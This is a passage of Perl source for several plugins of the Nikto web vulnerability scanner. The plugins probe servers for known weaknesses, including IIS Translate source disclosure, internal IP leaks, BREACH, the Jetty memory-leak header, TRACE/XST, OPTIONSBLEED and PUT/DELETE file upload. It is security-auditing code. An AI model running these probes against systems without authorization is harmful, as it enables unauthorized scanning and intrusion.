$response->{'whisker'}->{'code'}) { if (defined $response->{'report-uri'}) { add_vulnerability( $mark, $request->{'whisker'}{'uri'} . ": A CSP report-uri header was found. The URL is: $response->{'report-uri'}", 000433, "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); $HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'report-uri'} = 1; } } # Cloudflare if ( !$HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'cf-ray'} && defined $response->{'cf-ray'} && !$CLI{'useproxy'}) { add_vulnerability( $mark, $request->{'whisker'}{'uri'} . ": Cloudflare detected via cf-ray header. Recommend proxying via Burp or mitmproxy to avoid TLS fingerprint blocks.", 999106, "https://github.com/sullo/nikto/wiki/Using-a-Proxy", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); $HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'cf-ray'} = 1; } return $request, $response; } # If multiple headers were sent with the same name, turn the array into a string for reporting sub report_multiheaders { my $header = $_[0] || return; if (ref($header) eq 'ARRAY') { return join(',', @{$header}); } else { return $header; } } sub nikto_headers_check { my ($mark, $response, $header, $tid, $request) = @_; return if $mark->{'terminate'}; my @interesting_headers = split(" ", $VARIABLES{'@INTERESTING_HEADERS'}); foreach my $header (@interesting_headers) { if (exists $response->{$header}) { if (!exists $HEADERS_FOUND{ $mark->{'hostname'} }{ $mark->{'port'} } {"interesting-$header"}) { my $value = ""; if (ref($response->{$header}) eq ARRAY) { $value = join(', ', @{ $response->{$header} }); } else { $value = $response->{$header}; } $HEADERS_FOUND{ $mark->{'hostname'} }{ $mark->{'port'} }{"interesting-$header"} = 1; add_vulnerability( $mark, $request->{'whisker'}{'uri'} . ": Retrieved $header header: $value", $tid, "", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); } } } } sub nikto_headers { my ($mark) = @_; return if $mark->{'terminate'}; ####################################################################### # look for to see whether its vulnerable to the Translate: f my %transheaders; $transheaders{'Translate'} = "f"; foreach my $f (qw/\/index.asp \/njkk999.asp \/index.aspx \/jkl988.aspx \/login.asp \/login.aspx/) { return if $mark->{'terminate'}; my ($res, $content, $error, $request, $response) = nfetch($mark, $f, "GET", "", "", "", "Headers"); if ($res eq "200") { ($res, $content, $error, $request, $response) = nfetch($mark, $f . "\\", "GET", "", \%transheaders, "", "Headers"); if ($res eq "200") { if ($content =~ /{'whisker'}{'uri'} . ": Host may be vulnerable to a source disclosure using the Translate: header", 999983, "CVE-2000-0778", "GET", $f, $request, $response ); last; } } } } ####################################################################### # Content-Location header in IIS my (%locheaders, %locflags, $cl, $l, $wa, $rt); $locheaders{'User-Agent'} = get_ua(); $locflags{'noclean'} = 1; $locflags{'nohost'} = 1; $cl = $l = $wa = $rt = 0; foreach my $uri ('/', '/images', '/Autodiscover/Autodiscover.xml', '/Autodiscover/', '/Microsoft-Server-ActiveSync', '/Microsoft-Server-ActiveSync/default.css', '/ECP', '/EWS', '/EWS/Exchange.asmx', '/Exchange', '/OWA', '/Microsoft-Server-ActiveSync/default.eas', '/Rpc', '/EWS/Services.wsdl', '/ecp', '/OAB', '/aspnet_client', '/PowerShell' ) { return if $mark->{'terminate'}; my ($res, $content, $errors, $request, $response) = nfetch($mark, $uri, "GET", "", \%locheaders, \%locflags, "Headers", "1.0"); if (!$cl && ($response->{'content-location'} ne "")) { my @ips = get_ips($response->{'content-location'}); my ($valid, $internal, $loopback) = is_ip($ips[0]); if (($ips[0] ne '') && ($ips[0] ne $mark->{'ip'})) { $cl = 1; add_vulnerability( $mark, $uri . ": IIS may reveal its internal or real IP in the Content-Location header via a request with HTTP/1.0. The value is \"$ips[0]\".", 999989, "CVE-2000-0649", "GET", $uri, $request, $response ); } } if (!$l && ($response->{'location'} ne "")) { my @ips = get_ips($response->{'location'}); my ($valid, $internal, $loopback) = is_ip($ips[0]); if (($ips[0] ne '') && ($ips[0] ne $mark->{'ip'})) { $l = 1; add_vulnerability( $mark, $uri . ": The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is \"$ips[0]\".", 999988, "CVE-2000-0649", "GET", $uri, $request, $response ); } } if (!$wa && ($response->{'www-authenticate'} ne "")) { my @ips = get_ips($response->{'www-authenticate'}); my ($valid, $internal, $loopback) = is_ip($ips[0]); if (($ips[0] ne '') && ($ips[0] ne $mark->{'ip'})) { $wa = 1; add_vulnerability( $mark, $request->{'whisker'}{'uri'} . ": Microsoft Exchange Systems (CAS and OWA) may reveal the internal or real IP in the WWW-Authenticate header via a request to $uri over HTTP/1.0. The value is \"$ips[0]\".", 999986, "CVE-2000-0649", "GET", $uri, $request, $response ); } } if (!$rt && ($response->{'report-to'} ne "")) { my @bits = split("url\": \"", $response->{'report-to'}); my $have = 0; my @urls; foreach my $b (@bits) { next if $b !~ /^http/; $b =~ s/\".*$//; if ($b ne "") { push(@urls, $b); $have = $rt = 1; } } if ($have) { add_vulnerability( $mark, $request->{'whisker'}{'uri'} . ": A CSP report-to header was found with the following URLs: " . join(", ", @urls), 999945, "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-to", "GET", $uri, $request, $response ); } } if ($cl && $l && $wa && $rt) { last; } } ####################################################################### # Location header in WebLogic # Clear out locheaders for (keys %locheaders) { delete $locheaders{$_}; } $locheaders{'User-Agent'} = get_ua(); ($res, $content, $errors, $request, $response) = nfetch($mark, '.', "GET", "", \%locheaders, \%flags, "Headers", "1.0"); my @ips = get_ips($response->{'location'}); if ($ips[0] ne '') { my ($valid, $internal, $loopback) = is_ip($ips[0]); if ($valid && !$loopback && ($ips[0] ne $mark->{'ip'})) { my $msg = $request->{'whisker'}{'uri'} . ": WebLogic may reveal "; if ($internal) { $msg .= "an RFC-1918 IP address. "; } else { $msg .= "a different IP address in the Location header."; } $msg .= "The IP is \"$ips[0]\"."; add_vulnerability( $mark, $msg, 999987, "https://web.archive.org/web/20080821223545/http://archives.neohapsis.com/archives/bugtraq/2003-04/0034.html", "GET", ".", $request, $response ); } } ####################################################################### # BREACH Checks for (keys %locheaders) { delete $locheaders{$_}; } $locheaders{'User-Agent'} = get_ua(); $locheaders{'Accept-Encoding'} = "deflate, gzip"; ($res, $content, $errors, $request, $response) = nfetch($mark, '/', "GET", "", \%locheaders, \%flags, "Headers", "1.1"); if (!$BREACH && defined $response && $mark->{'ssl'}) { if (defined $response->{'content-encoding'}) { if ($response->{'content-encoding'} =~ "(deflate|gzip)") { $BREACH = 1; add_vulnerability( $mark, $request->{'whisker'}{'uri'} . ": The Content-Encoding header is set to \"deflate\" which may mean that the server is vulnerable to the BREACH attack.", 999966, "http://breachattack.com/", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); } } } ####################################################################### # Jetty CVE-2015-2080 for (keys %locheaders) { delete $locheaders{$_}; } $locheaders{'User-Agent'} = get_ua(); $locheaders{'Nikto'} = "\\x1f"; ($res, $content, $errors, $request, $response) = nfetch($mark, '/', "GET", "", \%locheaders, \%flags, "Headers", "1.0"); if (($res eq "400") && ($response->{'whisker'}->{'message'} =~ /x1f<<{'whisker'}{'uri'} . ": Jetty > 9.2.3 and < 9.2.9 may reveal the contents of internal memory if illegal characters are passed.", "000477", "CVE-2015-2080", "GET", ".", $request, $response ); } ####################################################################### # Missing suggested headers ($res, $content, $errors, $request, $response) = nfetch($mark, '/', "GET", "", {}, {}, "Headers", "1.1"); while (my ($header, $ref) = each %{ $VARIABLES->{'SUGGESTED_HEADERS'} }) { if (!exists $response->{$header}) { add_vulnerability($mark, $request->{'whisker'}{'uri'} . ": Suggested security header missing: " . $header, "013587", $ref, "GET", "/", $request, $response); } } } 1; ================================================ FILE: program/plugins/nikto_ms10_070.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Determine if site is vulnerable to MS10-070 ############################################################################### use vars qw/%MS10070/; sub nikto_ms10_070_init { my $id = { name => "ms10_070", full_name => "ms10-070 Check", author => "Sullo", description => "Determine if a site is vulnerable to MS10-070", hooks => { postfetch => { method => \&nikto_ms10_070, weight => 20, }, }, copyright => "2013 Chris Sullo" }; return $id; } sub nikto_ms10_070 { my ($mark, $parameters, $request, $response) = @_; return if $mark->{'terminate'}; return if $mark->{'ms100707'}; my $method = $response->{'whisker'}->{'method'} || "GET"; while ($response->{'whisker'}->{'data'} =~ /\.axd\?d=([^\?;&\s"']+)/ig) { return if $mark->{'terminate'}; my $string = $1; next if $MS10070{$string}; $MS10070{$string} = 1; $string =~ s/\-/\+/g; $string =~ s/\_/\//g; next if $string eq ''; my $count = chop($string); $string = $string . ("=" x int($count)); $string = LW2::decode_base64($string); if ((length($string) % 8) == 0) { $mark->{'ms100707'} = 1; add_vulnerability( $mark, "Server may be vulnerable to MS10-070 (based on numeric calculation) and thus may allow a cryptographic padding oracle. This vulnerability must be manually validated.", 999959, "http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html", $method, $response->{'whisker'}->{'uri'}, $request, $response ); } } return $request, $response; } 1; ================================================ FILE: program/plugins/nikto_msgs.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Various messages relating to the server banner ############################################################################### # NOTES: # versions are loaded from the "db_server_msgs" file, which should be in the # plugins directory this plugin checks the server version to see if there are # any version specific items in the db_server_msgs this differs from # nikto_outdated because that is ONLY checking to see if it is an old version, # whereas this checks to see if the versions match ############################################################################### sub nikto_msgs_init { my $id = { name => "msgs", full_name => "Server Messages", author => "Sullo", description => "Checks the server version against known issues.", hooks => { scan => { method => \&nikto_msgs, weight => 5, }, }, copyright => "2008 Chris Sullo" }; return $id; } sub nikto_msgs { my ($mark) = @_; return if $mark->{'terminate'}; my $dbarray; $dbarray = init_db("db_server_msgs"); foreach my $item (@$dbarray) { $item->{'server'} = validate_and_fix_regex($item->{'server'}); if ($mark->{'banner'} =~ /($item->{'server'})\b/i) { add_vulnerability($mark, "/: $1 - $item->{'message'}", $item->{'nikto_id'}, $item->{'refs'}); } } # Special stuff to pull information from results # McAfee ePO if ($mark->{'banner'} =~ /Agent-ListenServer-HttpSvr\/1\.0\b/i) { my ($res, $content, $error, $request, $response) = nfetch($mark, "/_LOGFILENAME_", "GET", "", "", "", "msgs: Agent-ListenServer-HttpSvr"); return unless ($res == 200); # Computer name return if $mark->{'terminate'}; if ($content =~ /ComputerName/) { my $name = $content; $name =~ s#(^.*)([^<]+)(.*$)#$2#; my $eposerver = $content; $eposerver =~ s#(^.*)([^<]+)(.*$)#$2#; add_vulnerability( $mark, "/_LOGFILENAME_: Web server is a McAfee ePO agent and showing the hostname as '$name' and the ePO server(s) as '$eposerver'.", 980100, "https://www.mcafee.com/enterprise/en-us/downloads/trials/epo-mcafee-agent-deployment.html", "GET", "/_LOGFILENAME_", $request, $response ); } else { add_vulnerability( $mark, "/_LOGFILENAME_: Web server is a McAfee ePO agent.", 000435, "https://www.mcafee.com/enterprise/en-us/downloads/trials/epo-mcafee-agent-deployment.html", "GET", "/_LOGFILENAME_", $request, $response ); } } # HP WBEM if ($mark->{'banner'} =~ /CompaqHTTPServer/i) { ($res, $content, $error, $request, $response) = nfetch($mark, "/cpqlogin.htm", "GET", "", "", "", "msgs: CompaqHTTPServer"); return unless ($res == 200); return if $mark->{'terminate'}; my $ipaddrs = ""; my $name; foreach my $line (split(/\n/, $content)) { if ($line =~ "System Management Homepage for ") { $name = $line; $name =~ s#(^.*System Management Homepage for )([a-zA-Z0-9]*)(.*$)#$2#; } if ($line =~ "new ObjectIpAddresses") { my $ipaddr = $line; $ipaddr =~ s#(^.*new ObjectIpAddresses\(")([\d\.]+)("\);.*$)#$2#; nprint("$ipaddr", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); $ipaddrs .= " $ipaddr"; } } add_vulnerability( $mark, "/cpqlogin.htm: Web server is an HP WBEM agent and showing the hostname is $name and the IP addresses are $ipaddrs.", 801010, "", "GET", "/cpqlogin.htm", $request, $response ); } } 1; ================================================ FILE: program/plugins/nikto_multiple_index.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Look for multiple unique index files ############################################################################### sub nikto_multiple_index_init { my $id = { name => "multiple_index", full_name => "Multiple Index", author => "Tautology", description => "Checks for multiple index files", hooks => { scan => { method => \&nikto_multiple_index, }, }, copyright => "2009 Chris Sullo" }; return $id; } sub nikto_multiple_index { my ($mark) = @_; my $dbarray = init_db("db_multiple_index"); my ($found, $hashes); foreach my $item (@$dbarray) { return if $mark->{'terminate'}; # Get file my ($res, $content, $error, $request, $response) = nfetch($mark, "/$item->{'index'}", "GET", "", "", "", "multiple_index"); if ($res == 200) { $content = rm_active_content($content, "$mark->{'root'}/$item->{'index'}"); my $hash = LW2::md5($content); $found{"$mark->{'root'}/$item->{'index'}"} = $hash; $hashes{$hash}++; } } my $count = keys(%found); if ($count > 1) { # make sure we have unique pages my $total_unique = grep { $hashes{$_} == 1 } keys %hashes; # one unique hash... bogus responses if ($total_unique <= 1) { return; } my $file_list = join(', ', keys %found); my $msg = "Multiple index files found"; if ($total_unique < $count) { $msg .= " (may not all be unique)"; } else { $msg .= " (all unique)"; } add_vulnerability($mark, "$msg: $file_list", "740000", "", "GET", "/", $request, $response); } } 1; ================================================ FILE: program/plugins/nikto_negotiate.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Check for mod_negotiation indexing ############################################################################### sub nikto_negotiate_init { my $id = { name => "negotiate", full_name => "Negotiate", author => "Sullo", description => "Checks the mod_negotiation MultiViews.", copyright => "2013 Chris Sullo", hooks => { scan => { method => \&nikto_negotiate, }, }, }; return $id; } sub nikto_negotiate { my ($mark) = @_; return if $mark->{'terminate'}; my %headers = ('Accept', 'application/whatever; q=1.0'); my ($res, $content, $error, $request, $response) = nfetch($mark, "/index", "GET", "", \%headers, "", "negotiate"); if ($response->{'alternates'} =~ /\{\"/) { my $message = "/index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: "; my @alts = split(/,/, $response->{'alternates'}); foreach my $h (@alts) { $h =~ /\s?\{"([^"]+)"/; $message .= $1 . ", "; } $message =~ s/, $//; add_vulnerability( $mark, $message, 999965, "http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275", GET, "/index", $request, $response ); } } 1; ================================================ FILE: program/plugins/nikto_options.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: HTTP options check ############################################################################### sub nikto_options_init { my $id = { name => "httpoptions", full_name => "HTTP Options", author => "Sullo", description => "Performs a variety of checks against the HTTP options returned from the server.", hooks => { scan => { method => \&nikto_httpoptions, weight => 20, }, }, copyright => "2008 Chris Sullo" }; return $id; } # This just gets the HTTP options & checks 'em out. # See RFC 2626 for more info... sub nikto_httpoptions { my ($mark) = @_; return if $mark->{'terminate'}; my (%request, %response, $dbarray, $txt, $allow_methods, $public_methods); my $junkmethodresp; $txt = ""; $dbarray = init_db("db_options"); # test for both OPTIONS / and OPTIONS * as they may give different results # my ($res, $content, $errors, $request, $response) = # nfetch($mark, "*", "OPTIONS", "", "", "", "httpoptions: OPTIONS *"); # my $aoptions = "$response->{'allow'}, "; # my $poptions = "$response->{'public'}, "; ($res, $content, $errors, $request, $response) = nfetch($mark, "/", "OPTIONS", "", "", "", "httpoptions: OPTIONS /"); $aoptions .= $response->{'allow'}; $poptions .= $response->{'public'}; foreach my $o (split(/,[ ]?/, $aoptions)) { $allow_methods .= ", $o" unless ($allow_methods =~ /\b$o\b/ || $o eq ''); } $allow_methods =~ s/^[ ]?, //; foreach my $o (split(/,[ ]?/, $poptions)) { $public_methods .= ", $o" unless ($public_methods =~ /\b$o\b/ || $o eq ''); } $public_methods =~ s/^[ ]?, //; # proxy can impose its methods... should actually check this not just warn if ($CLI{'useproxy'} ne "") { $txt = "(May be proxy's methods, not server's)"; } %davmethods = (); if ($allow_methods ne "") { add_vulnerability($mark, "OPTIONS: Allowed HTTP Methods: $allow_methods $txt", 999990, "", "OPTIONS", "/", $request, $response); foreach my $m (split /,? /, $allow_methods) { my $method = eval_methods($m, "Allow", $dbarray, $mark); if ($method ne "") { $davmethods{$method} = 1 } } } if ($public_methods ne "") { add_vulnerability($mark, "OPTIONS: Public HTTP Methods: $public_methods $txt", 999985, "", "OPTIONS", "/", $request, $response); foreach my $m (split /,? /, $public_methods) { my $method = eval_methods($m, "Public", $dbarray, $mark); if ($method ne "") { $davmethods{$method} = 1 } } } if (scalar(keys(%davmethods)) > 0) { $message = "OPTIONS: WebDAV enabled ("; for my $key (keys %davmethods) { $message .= "$key "; } $message .= "listed as allowed)"; add_vulnerability($mark, $message, 999977, "", "OPTIONS", "/", $request, $response); } # Check to see what the web server does on out of standard headers my $junkmethod = LW2::utils_randstr(8, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'); ($res, $content, $error, $request, $response) = nfetch($mark, "/", $junkmethod, "", "", "", "httpoptions: Junk HTTP method"); if ($res == 200) { add_vulnerability( $mark, "/: Web Server returns a valid response with junk HTTP methods which may cause false positives.", 999967, "", $junkmethod, '/', $request, $response ); $junkmethodresp = LW2::md5($content); } # Check for other weirdness # IIS Debug return if $mark->{'terminate'}; ($res, $content, $error, $request, $response) = nfetch($mark, "/", "DEBUG", "", "", "", "httpoptions: DEBUG"); if ($res == 200 && (LW2::md5($content) ne $junkmethodresp)) { add_vulnerability( $mark, "/: DEBUG HTTP verb may show server debugging information.", 999972, "https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017", "DEBUG", '/', $request, $response ); } # IIS PROPFIND HEADER return if $mark->{'terminate'}; my %headers = ("Host" => "", "Content-Length" => "0",); ($res, $content, $error, $request, $response) = nfetch($mark, "/", "PROPFIND", "", \%headers, { noclean => 1 }, "httpoptions: PROPFIND"); if ($res == 207) { if ($content =~ "https?://") { my $ipfound = $content; $ipfound =~ s/^.*//g; $ipfound =~ s/<\/a:href>.*$//g; add_vulnerability( $mark, "/: PROPFIND HTTP verb may show the server's internal IP address: $ipfound", 999973, "https://docs.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2003/aa142960(v%3Dexchg.65)", "PROPFIND", "/", $request, $response ); } } # Special checks for TRACE/TRACK to see whether its vulnerable %headers = ("Trace-Test" => "Nikto"); foreach my $method (split(/ /, "TRACE TRACK")) { # Check for all flavours of HTTP foreach my $version (split(/ /, "0.9 1.0 1.1")) { return if $mark->{'terminate'}; ($res, $content, $error, $request, $response) = nfetch($mark, "/", $method, "", \%headers, {}, "httpoptions: $method", $version); if ($res == 200) { if ($content =~ /Trace-Test: Nikto/) { add_vulnerability( $mark, "/: HTTP $method method is active and replies which suggests the host is vulnerable to XST", "000434", "https://owasp.org/www-community/attacks/Cross_Site_Tracing", $method, "/", $request, $response, "Content match" ); # now we know its vulnerable stop testing last; } } } } # Now release memory for the dbarray undef @$dbarray; return; } sub eval_methods { my $method = $_[0] || return; my $type = $_[1]; my $dbarray = $_[2]; my $mark = $_[3]; my $message; $method = uc($method); # Now search database for the method. foreach my $item (@$dbarray) { if ( $method eq "PROPPATCH" || $method eq "SEARCH" || $method eq "PROPFIND" || $method eq "COPY" || $method eq "LOCK" || $method eq "UNLOCK") { return $method; } if ($item->{'method'} eq $method) { if ($item->{'nikto_id'} eq "0") { # is webdav return $method; } else { $message = $item->{'message'}; $message =~ s/\@TYPE\@/$type/; add_vulnerability($mark, $message, $item->{'nikto_id'}, $item->{'refs'}); } } } return ""; } 1; ================================================ FILE: program/plugins/nikto_optionsbleed.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Scan for OPTIONSBLEED (CVE-2017-9798) ############################################################################### sub nikto_optionsbleed_init { my $id = { name => "optionsbleed", full_name => "OPTIONSBLEED (CVE-2017-9798) check", author => "Sullo", description => "Detects OPTIONSBLEED vulnerability (CVE-2017-9798)", hooks => { scan => { method => \&nikto_optionsbleed, } }, copyright => "2025 Chris Sullo" }; return $id; } sub nikto_optionsbleed { my ($mark) = @_; my $num_requests = 50; # Number of OPTIONS requests to send my $path = $mark->{'root'} || '/'; for (my $i = 0 ; $i < $num_requests ; $i++) { my ($res, $content, $error, $request, $response) = nfetch($mark, $path, 'OPTIONS', '', '', undef, 'optionsbleed'); my $allow = $response->{'allow'}; if (!defined $allow) { # No Allow header exit early last; } # Should only be uppercase letters and commas, no spaces if ($allow =~ /[^A-Z, ]/ || $allow =~ /,,+/) { add_vulnerability($mark, "$path: Potential OPTIONSBLEED vulnerability detected. Allow header: $allow", 740002, "CVE-2017-9798", 'OPTIONS', $path, $request, $response, "Allow header value contains [^A-Z, ] or ,,"); return; } } } 1; ================================================ FILE: program/plugins/nikto_outdated.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Check for outdated items in banner ############################################################################### sub nikto_outdated_init { my $id = { name => "outdated", full_name => "Outdated", author => "Sullo", description => "Checks to see whether the web server is the latest version.", copyright => "2008 Chris Sullo", hooks => { scan => { method => \&nikto_outdated, }, }, }; return $id; } sub nikto_outdated { my ($mark) = @_; return if $mark->{'terminate'}; # Process banner to populate @BUILDITEMS for later eval # If banner has nothing that can be a version... return if ($mark->{'banner'} !~ /(?:\d|\/|\.)/) { return; } # If Apache, split on space... elsif ( ($mark->{'banner'} =~ /apache/i) || (($mark->{'banner'} =~ /\s/) && ($mark->{'banner'} =~ /\//))) { foreach my $item (split(/ /, $mark->{'banner'})) { $mark->{'components'}->{$item} = 1; } } # Some specific (and common) banner processing # WebLogic: strip all the date info... elsif ($mark->{'banner'} =~ /weblogic/i) { my @T = split(/ /, $mark->{'banner'}); $mark->{'components'}->{ $T[0] . '\/' . $T[1] } = 1; } # SiteScope: strip all the date info... elsif ($mark->{'banner'} =~ /sitescope/i) { my @T = split(/ /, $mark->{'banner'}); $mark->{'components'}->{ $T[0] } = 1; } # Jetty: strip the ( ) away: elsif ($mark->{'banner'} =~ /jetty\(/i) { $mark->{'banner'} =~ /Jetty\(([0-9a-zA-Z.\-]+)\)/i; $mark->{'components'}->{ 'Jetty/' . $1 } = 1; } # Some, like WEBrick, have multiple items but no spaces elsif ( ($mark->{'banner'} !~ /\s/) && ($mark->{'banner'} =~ /\/.*\//) && ($mark->{'banner'} =~ /\(/)) { # try converting () t spaces foreach my $item (split(/[\(\)]/, $mark->{'banner'})) { $mark->{'components'}->{$item} = 1; } } # Finally, unknown banners else { # use the last non 0-9 . a-z char as a sepr (' ', '-', '_' etc) my $sepr = $mark->{'banner'}; $sepr =~ s/[a-zA-Z0-9\.\(\)]//gi; if ($sepr eq '') { $MATCHSTRING = $mark->{'banner'}; } else { $sepr = substr($sepr, (length($sepr) - 1), 1); # break up ID string on $sepr my @T = split(/\\$sepr/, $mark->{'banner'}); # assume last is version... for ($i = 0 ; $i < $#T ; $i++) { $MATCHSTRING .= "$T[$i] "; } } $MATCHSTRING =~ s/\s+$//; $mark->{'components'}->{$MATCHSTRING} = 1; nprint("Server Version String:$MATCHSTRING", "d"); } my ($v, $V, $BI, $k) = ""; # For each running component foreach $BI (keys %{ $mark->{'components'} }) { my $have_match = 0; # Check it against each value from db_outdated foreach $V (sort keys %OVERS) { next if $V eq ''; if ($BI =~ /^$V/i) # software name matched { $have_match = 1; # nab version foreach $k (keys %{ $OVERS{$V} }) { if ($k eq "") { next; } if ($k eq "tid") { next; } $v = $k; } # do version check (return true if we should alert) if (vereval($v, $BI, $V, $mark)) { my $msg = $OVERS{$V}{$v}; $msg =~ s/\@RUNNING_VER/$BI/g; $msg =~ s/\@CURRENT_VER/$v/g; chomp($msg); add_vulnerability($mark, $msg, $OVERS{$V}{'tid'}, "", "HEAD", "/", "", "", "Content match" ); } } } if (!$have_match) { $mark->{'components'}->{$BI} = 2; } } return; } # do version evaluation # arguments: # 0: latest version as defined in db_outdated # 1: running item being evaluated # 2: item being matched against in db_outdated # 3: mark hash sub vereval { # split both by last char of $_[2], as it is the name to version separator my $sepr = substr($_[2], (length($_[2]) - 1), 1); nprint("nikto_outdated.plugin: verstring: $_[2], sepr:$sepr", "d", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); my $CURRENT = lc($_[0]); my $RUNNING = lc($_[1]); my $CURRENT_ORIG = $CURRENT; my $RUNNING_ORIG = $RUNNING; my $mark = $_[3]; nprint("nikto_outdated.plugin: \$CURRENT:$CURRENT:\$RUNNING:$RUNNING:", "d", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); my @T = split(/\Q$sepr\E/, $CURRENT); $CURRENT = $T[$#T]; # should be version... @T = split(/\Q$sepr\E/, $RUNNING); $RUNNING = $T[$#T]; # should be version... # convert alphas to numerics so we can do a real comparison $CURRENT =~ s/([^0-9\.]){1}/"." . ord($1) . "."/eg; $RUNNING =~ s/([^0-9\.]){1}/"." . ord($1) . "."/eg; $RUNNING =~ s/\.+/\./g; $CURRENT =~ s/\.+/\./g; $RUNNING =~ s/^\.//; $CURRENT =~ s/^\.//; $RUNNING =~ s/\.$//; $CURRENT =~ s/\.$//; nprint("nikto_outdated.plugin: \$CURRENT:$CURRENT:\$RUNNING:$RUNNING\: (after numberifcation)", "d", $mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'}); if (($CURRENT !~ /[a-z]/) && ($RUNNING !~ /[a-z]/)) { @CUR = split(/\./, $CURRENT); @RUN = split(/\./, $RUNNING); } else { @CUR = split(//, $CURRENT); @RUN = split(//, $RUNNING); } # start with 0... eval each in turn... for (my $i = 0 ; $i <= $#CUR ; $i++) { nprint("nikto_outdated.plugin: major compare: \$CUR[$i]:$CUR[$i]: \$RUN[$i]:$RUN[$i]:", "d", $mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'}); if ($CUR[$i] > $RUN[$i]) { return 1; } # running is older if (($CUR[$i] ne "") && ($RUN[$i] eq "")) { return 1; } # running is older if ($CUR[$i] < $RUN[$i]) # running is newer { my $string = $_[1]; $string =~ s/\s/\%20/g; $mark->{'components'}->{$string} = 2; return 0; } } return 0; # running is the same version if we make it here } 1; ================================================ FILE: program/plugins/nikto_paths.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Look at paths to help populate variables ############################################################################### sub nikto_paths_init { my $id = { name => "paths", full_name => "Path Search", author => "Sullo", description => "Look at link paths to help populate variables", hooks => { recon => { method => \&nikto_paths, weight => 20, }, }, copyright => "2012 Chris Sullo" }; return $id; } sub nikto_paths { my ($mark) = @_; return if $mark->{'terminate'}; my (%DIRS, %FILES); # Follow redirects by temporarily by setting $CLI{'followredirects'} to 1 # Request the root path to follow redirects if needed my $followredirects = $CLI{'followredirects'}; $CLI{'followredirects'} = 1; my ($res, $content) = nfetch($mark, "/", "GET", "", "", "", "Paths"); $CLI{'followredirects'} = $followredirects; if (length($content)) { # get links my @links = LW2::html_link_extractor($content); my %FULL_LINKS; my %valid_hosts = map { $_ => 1 } ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'vhost'}, $mark->{'ident'}); foreach my $link (@links) { # if not relative if ($link !~ /^\//) { # check host my @uri = LW2::uri_split($link); if (exists $valid_hosts{ $uri[2] }) { $link = $uri[0]; } else { next; } } # normalize $link = LW2::uri_normalize($link); $FULL_LINKS{$link} = 1; # split dirs / files my $dir = LW2::uri_get_dir($link); $dir = validate_and_fix_regex($dir); my $file = $link; $file =~ s/^$dir//; if ($file ne '') { $file =~ s/\\//g; $FILES{$file} = 1; } if (($dir ne '') && ($dir ne '/')) { $dir =~ s/\\//g; $DIRS{$dir} = 1; } } # Use shared path matching logic path_matcher(\%FILES, \%DIRS, \%FULL_LINKS); } } 1; ================================================ FILE: program/plugins/nikto_put_del_test.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Try put and then delete a file ############################################################################### sub nikto_put_del_test_init { my $id = { name => "put_del_test", full_name => "Put/Delete test", author => "Sullo", description => "Attempts to upload and delete files through the PUT and DELETE HTTP methods.", hooks => { scan => { method => \&nikto_put_del_test, }, }, copyright => "2008 Chris Sullo" }; return $id; } sub nikto_put_del_test { my ($mark) = @_; return if $mark->{'terminate'}; my $msg; # PUT a page my $uri = "/nikto-test-" . LW2::utils_randstr(8) . ".html"; my ($res, $content, $error, $request, $response) = nfetch($mark, $uri, "PUT", "This was a Nikto test.", "", "", "put_del_test: PUT"); # Request it back if ($res eq 201) { ($res, $content, $error, $request, $response) = nfetch($mark, $uri, "GET", "", "", "", "put_del_test: GET"); if ($content =~ /This was a Nikto test/) { add_vulnerability( $mark, "$uri: HTTP method 'PUT' allows clients to save files on the web server.", 999995, "https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled", "PUT", $uri, $request, $response ); # we were able to put it there--can we delete it? ($res, $content, $error, $request, $response) = nfetch($mark, $uri, "DELETE", "", "", "", "put_del_test: DELETE"); if ($res eq 200) { ($res, $content, $error, $request, $response) = nfetch($mark, $uri, "GET", "", "", "", "put_del_test: GET"); if ($content !~ /This was a Nikto test/) # gone now { add_vulnerability( $mark, "$uri: HTTP method 'DELETE' allows clients to delete files on the web server.", 999994, "https://cwe.mitre.org/data/definitions/650.html", "DELETE", $uri, $request, $response ); } } } } } 1; ================================================ FILE: program/plugins/nikto_report_csv.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: CSV Reporting ############################################################################### sub nikto_report_csv_init { my $id = { name => "report_csv", full_name => "CSV reports", author => 